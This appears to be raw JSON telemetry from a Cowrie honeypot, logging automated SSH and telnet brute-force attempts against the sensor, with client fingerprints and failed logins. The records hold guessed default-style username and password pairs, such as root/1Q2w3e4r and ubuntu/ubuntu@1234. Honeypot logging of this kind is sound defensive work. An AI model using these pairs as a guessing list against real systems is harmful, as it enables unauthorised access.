{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:12.806313Z","src_ip":"176.65.132.129","session":"67f39262ceb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50480,"dst_ip":"159.203.135.109","dst_port":22,"session":"42f8ea849ea5","protocol":"ssh","message":"New connection: 176.65.132.129:50480 (159.203.135.109:22) [session: 42f8ea849ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:14.741729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:14.749321Z","src_ip":"176.65.132.129","session":"42f8ea849ea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:14.832518Z","src_ip":"176.65.132.129","session":"42f8ea849ea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:15.080245Z","src_ip":"176.65.132.129","session":"42f8ea849ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:16.166165Z","src_ip":"176.65.132.129","session":"42f8ea849ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.36778545379639,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:17.909802Z","src_ip":"45.58.127.90","session":"d9509dcd037f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55682,"dst_ip":"159.203.135.109","dst_port":22,"session":"eed658aed699","protocol":"ssh","message":"New connection: 176.65.132.129:55682 (159.203.135.109:22) [session: eed658aed699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:18.187678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:18.192528Z","src_ip":"176.65.132.129","session":"eed658aed699","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:18.279097Z","src_ip":"176.65.132.129","session":"eed658aed699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:18.526403Z","src_ip":"176.65.132.129","session":"eed658aed699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.52346467971802,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:19.540285Z","src_ip":"45.58.127.90","session":"bd8fc0fddffb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:19.613933Z","src_ip":"176.65.132.129","session":"eed658aed699","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55694,"dst_ip":"159.203.135.109","dst_port":22,"session":"87963465e408","protocol":"ssh","message":"New connection: 176.65.132.129:55694 (159.203.135.109:22) [session: 87963465e408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:21.700455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:21.705852Z","src_ip":"176.65.132.129","session":"87963465e408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:21.789748Z","src_ip":"176.65.132.129","session":"87963465e408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:22.035042Z","src_ip":"176.65.132.129","session":"87963465e408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:23.121371Z","src_ip":"176.65.132.129","session":"87963465e408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.155712604522705,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:23.983297Z","src_ip":"45.58.127.90","session":"47bad1e26550","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55710,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ba23617fa5c","protocol":"ssh","message":"New connection: 176.65.132.129:55710 (159.203.135.109:22) [session: 6ba23617fa5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:25.066457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:25.076185Z","src_ip":"176.65.132.129","session":"6ba23617fa5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:25.158572Z","src_ip":"176.65.132.129","session":"6ba23617fa5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:25.405897Z","src_ip":"176.65.132.129","session":"6ba23617fa5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":51835,"dst_ip":"10.17.0.5","dst_port":22,"session":"6354ee0e9a40","protocol":"ssh","message":"New connection: 193.106.245.20:51835 (10.17.0.5:22) [session: 6354ee0e9a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:25.706173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:25.711540Z","src_ip":"193.106.245.20","session":"6354ee0e9a40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:25.829562Z","src_ip":"193.106.245.20","session":"6354ee0e9a40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"123456789","message":"login attempt [sftpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:26.330607Z","src_ip":"193.106.245.20","session":"6354ee0e9a40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:26.490144Z","src_ip":"176.65.132.129","session":"6ba23617fa5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:27.451339Z","src_ip":"193.106.245.20","session":"6354ee0e9a40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57648,"dst_ip":"159.203.135.109","dst_port":22,"session":"a10002275ec9","protocol":"ssh","message":"New connection: 176.65.132.129:57648 (159.203.135.109:22) [session: a10002275ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:28.489962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:28.494776Z","src_ip":"176.65.132.129","session":"a10002275ec9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:28.577412Z","src_ip":"176.65.132.129","session":"a10002275ec9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:28.825530Z","src_ip":"176.65.132.129","session":"a10002275ec9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:29.910768Z","src_ip":"176.65.132.129","session":"a10002275ec9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57656,"dst_ip":"159.203.135.109","dst_port":22,"session":"b633c3fbda2e","protocol":"ssh","message":"New connection: 176.65.132.129:57656 (159.203.135.109:22) [session: b633c3fbda2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:31.909856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:31.914422Z","src_ip":"176.65.132.129","session":"b633c3fbda2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:31.997418Z","src_ip":"176.65.132.129","session":"b633c3fbda2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:32.246361Z","src_ip":"176.65.132.129","session":"b633c3fbda2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:33.331801Z","src_ip":"176.65.132.129","session":"b633c3fbda2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57664,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd193455244","protocol":"ssh","message":"New connection: 176.65.132.129:57664 (159.203.135.109:22) [session: 6fd193455244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:35.280473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:35.285491Z","src_ip":"176.65.132.129","session":"6fd193455244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:35.367956Z","src_ip":"176.65.132.129","session":"6fd193455244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:35.614558Z","src_ip":"176.65.132.129","session":"6fd193455244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:36.840868Z","src_ip":"176.65.132.129","session":"6fd193455244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38870,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2b7ffa3b4b0","protocol":"ssh","message":"New connection: 176.65.132.129:38870 (159.203.135.109:22) [session: b2b7ffa3b4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:38.648550Z"}
